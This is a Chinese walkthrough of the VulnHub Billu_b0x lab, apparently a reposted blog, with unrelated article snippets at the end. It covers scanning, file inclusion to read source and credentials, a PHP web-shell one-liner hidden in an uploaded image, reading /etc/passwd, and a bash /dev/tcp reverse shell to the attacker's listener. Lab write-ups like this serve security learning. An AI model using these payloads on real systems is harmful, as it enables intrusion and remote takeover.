草庐IT

VulnHub靶场渗透实战11-Billu_b0x

学安全的杨咩咩 2024-01-17 原文

前言

kali：192.168.3.9 桥接模式。

靶机：192.168.3.12 桥接模式(nat模式也可以，我桥接是为了方便我物理机的浏览器访问)

1.arp扫描（也可用nmapC段发现），主机发现。

获取的靶机IP地址是：192.168.3.12。

arp-scan -l

 2.扫描开启的端口和服务。

nmap -sS -sV -T5 -A -p- 192.168.3.12
nmap命令参数的意思。
-p- 端口范围。

-sS 使用TCP SYN扫描。

-sV 进行版本探测。

-T5 使用的是一种快速扫面方式， 扫描速度的级别，范围在（T0-T5）之间，级别越高速度越快。

 访问一下80端口开放的web页面。

 2.看这页面可能存在SQL注入，用sqlmap跑一下注入。注入失败。

sqlmap -u “http://192.168.3.12” --data "un=admin&ps=admin&login=let%27s+login" --level 3 --dbms mysql

3.注入失败，那我们就来爆一下目录咯，用dirsearch爆破一下目录。

dirsearch -u http://192.168.3.12

 4.访问爆破出来的目录。利用文件包含漏洞获取php源码和账号密码。

访问test.php：页面提示file参数为空，需要提供file参数,

在Firefox的Hackbar或者Brupsuit中，将get请求，变更为post请求，文件包含成功，获得c.php文件。

使用hackerbar post数据，可下载c.php文件:

通过同样文件包含的方法，下载add.php、in.php、c.php、index.php、show.php、panel.php等文件，后面可以访问文件的同时，审计文件的源代码。

发现c.php有文件里面有数据库密码，来访问phpmy。

登录之后，emmm，这个好像是web的账号密码，试一下。

账户：biLLu

密码：hEx_it

登录成功。发现文件上传点。发现文件上传点是发现文件名是panel.php，再看一下phpmy目录下有什么文件。还挺多，还有个配置文件config.inc.php。

dirsearch -u http://192.168.3.12/phpmy

 回到火狐浏览器下载源码把panel.php文件下载下来，config.inc.php文件在phpmy目录下，通过URL猜测路径默认在/var/www/phpmy下面。

发现用户名密码，之前指纹识别时发现22端口开放，猜测一波，是ssh的账户密码。

账户：root

密码：roottoor

 Ssh登录成功。

 5：利用文件包含漏洞反弹shell。——涉及到代码审计。

panel.php代码审计存在文件包含漏洞，那我们就通过文件包含把php语句（这里用到图片马）包含到panel.php中，然后执行命令。

 下载一张http://192.168.3.12/uploaded_images/中的图片jack.php，文本编辑器打开，在文件中间或末尾加入一句话cmd命令马<?php system($_GET['cmd']); ?> 将文件上传成功。

 

使用burp执行命令：post请求url中加入执行命令的参数：POST /panel.php?cmd=cat%20/etc/passwd;ls

post的body中包含Jack.jpg图片马：load=/uploaded_images/cmd.jpg&continue=continue

成功执行命令cat /etc/passwd;ls

用bash反弹shell。

url编码：echo "bash -i >& /dev/tcp/192.168.3.9/4444 0>&1" | bash

kali nc开启监听。burp执行命令。拿到权限。

 6.提权。（也可用本地提权法）

  • 看到phpmy这个目录在这个权限下，直接进入这目录，因为目录有个配置文件保存这ssh登录的密码-是root权限，所以直接su root，提权成功。

VulnHubBillu_bxffxff0cxff0网络安全web安全

有关VulnHub靶场渗透实战11-Billu_b0x的更多相关文章

  1. 电脑0x0000001A蓝屏错误怎么U盘重装系统教学 - 2

    　　电脑0x0000001A蓝屏错误怎么U盘重装系统教学分享。有用户电脑开机之后遇到了系统蓝屏的情况。系统蓝屏问题很多时候都是系统bug，只有通过重装系统来进行解决。那么蓝屏问题如何通过U盘重装新系统来解决呢？来看看以下的详细操作方法教学吧。　　准备工作：　　1、U盘一个（尽量使用8G以上的U盘）。　　2、一台正常联网可使用的电脑。　　3、ghost或ISO系统镜像文件（Win10系统下载_Win10专业版_windows10正式版下载-系统之家）。　　4、在本页面下载U盘启动盘制作工具：系统之家U盘启动工具。　　U盘启动盘制作步骤：　　注意：制作期间，U盘会被格式化，因此U盘中的重要文件请注

  2. ruby - 安装libv8(3.11.8.13)出错，Bundler无法继续 - 2

    运行bundleinstall后出现此错误:Gem::Package::FormatError:nometadatafoundin/Users/jeanosorio/.rvm/gems/ruby-1.9.3-p286/cache/libv8-3.11.8.13-x86_64-darwin-12.gemAnerroroccurredwhileinstallinglibv8(3.11.8.13),andBundlercannotcontinue.Makesurethat`geminstalllibv8-v'3.11.8.13'`succeedsbeforebundling.我试试gemin

  3. 微信小程序开发入门与实战（Behaviors使用） - 2

    @作者:SYFStrive @博客首页:HomePage📜：微信小程序📌：个人社区（欢迎大佬们加入）👉：社区链接🔗📌：觉得文章不错可以点点关注👉：专栏连接🔗💃：感谢支持,学累了可以先看小段由小胖给大家带来的街舞👉微信小程序（🔥）目录自定义组件-behaviors    1、什么是behaviors    2、behaviors的工作方式    3、创建behavior    4、导入并使用behavior    5、behavior中所有可用的节点    6、同名字段的覆盖和组合规则总结最后自定义组件-behaviors    1、什么是behaviorsbehaviors是小程序中，用于实现

  4. ruby - ri 有空文件 – Ubuntu 11.10, Ruby 1.9 - 2

    我正在运行Ubuntu11.10并像这样安装Ruby1.9:$sudoapt-getinstallruby1.9rubygems一切都运行良好，但ri似乎有空文档。ri告诉我文档是空的，我必须安装它们。我执行此操作是因为我读到它会有所帮助:$rdoc--all--ri现在，当我尝试打开任何文档时:$riArrayNothingknownaboutArray我搜索的其他所有内容都是一样的。 最佳答案 这个呢？apt-getinstallri1.8编辑或者试试这个:(非rvm)geminstallrdocrdoc-datardoc-da

  5. ruby - rails 3.2.2(或 3.2.1)+ Postgresql 9.1.3 + Ubuntu 11.10 连接错误 - 2

    我正在使用PostgreSQL9.1.3(x86_64-pc-linux-gnu上的PostgreSQL9.1.3，由gcc-4.6.real(Ubuntu/Linaro4.6.1-9ubuntu3)4.6.1，64位编译)和在ubuntu11.10上运行3.2.2或3.2.1。现在，我可以使用以下命令连接PostgreSQLsupostgres输入密码我可以看到postgres=#我将以下详细信息放在我的config/database.yml中并执行“railsdb”，它工作正常。开发:adapter:postgresqlencoding:utf8reconnect:falsedat

  6. ruby-on-rails - 如何解决#<Book::ActiveRecord_Relation:0x007fb709a6a8c0> 的未定义方法 `to_key'？ - 2

    我遇到了未定义方法`to_key'的问题这是我的books_controller.rbclassBooksController和我的索引页如下。index.html.erb......现在当我要访问索引页面时出现如下错误。undefinedmethod`to_key'for# 最佳答案 index通常返回一个集合。事实上，您的Controller符合要求。但是，您的View试图为其定义一个表单。正如您所发现的，这不会成功。表单适用于实体，而不适用于集合。该错误在您看来以及您希望如何处理index。

  7. ruby-on-rails - Rspec - Controller 测试错误 - Paperclip::AdapterRegistry::NoHandlerError: 找不到 "#<File:0x531beb0>"的处理程序 - 2

    我如下询问了我的Rspec测试。Rspec-RuntimeError:Calledidfornil,whichwouldmistakenlybe4在相同的代码上(“items_controller.rb”的Rspec测试)，我试图对“PUTupdate”进行测试。但是我收到错误消息“Paperclip::AdapterRegistry::NoHandlerError:找不到“#”的处理程序。我的Rspec测试如下。老实说，我猜这次失败的原因是“let(:valid_attributes)”上的“photo”=>File.new(Rails.root+'app/assets/images

  8. python - 这些脚本语言中哪种更适合渗透测试？ - 2

    关闭。这个问题是opinion-based.它目前不接受答案。想要改进这个问题？更新问题，以便editingthispost可以用事实和引用来回答它.关闭9年前。Improvethisquestion首先，我想避免一场关于语言的口水战。可供选择的语言有Perl、Python和Ruby。我想提一下，我对所有这些都很满意，但问题是我不能只专注于一个。例如，如果我看到一个很棒的Perl模块，我必须尝试一下。如果我看到一个不错的Python应用程序，我必须知道它是如何制作的。如果我看到RubyDSL或一些Ruby巫术，我就会迷上Ruby一段时间。目前我是一名Java开发人员，但计划在不久的将来

  9. ruby-on-rails - Rails 2.3.11 DateTime BigDecimal 精度 - 2

    我目前有一个运行Ruby1.8.7和Rails2.3.2的RubyonRails项目我有一些从数据库中读取数据的单元测试，特别是两个连续项目的日期时间列，这两个项目应该相隔24小时。在一项测试中，我将项目2的日期时间设置为与项目1的日期时间相同。当我执行断言以确保两个值相等时，测试在rails2.3.2下工作正常。当我升级到rails2.3.11时，测试失败显示两次之间的差异将关闭并出现以下错误:expectedbutwas.这两个版本的rails中似乎存在浮点转换问题。如何解决float问题？ 最佳答案 这也发生在我身上，我最终这

  10. ruby-on-rails - `method_missing':#<Rails::Application::Configuration:0x00> 的未定义方法 `action_mailer' - 2

    我正在构建一个Rails应用程序并且使用的是Rails4.0.1。我有一个错误，并注意到它在3个月前被称为rails上的一个错误，所以我决定:捆绑更新并获得rails4.0.3这样做之后，测试和服务器都不会启动，并且会抛出错误:gems/railties-4.0.3/lib/rails/railtie/configuration.rb:95:in`method_missing':undefinedmethod`action_mailer'for#(NoMethodError)目前我在config/environments/*中注释掉了action_mailer行，但最好能找到一个真正的

随机推荐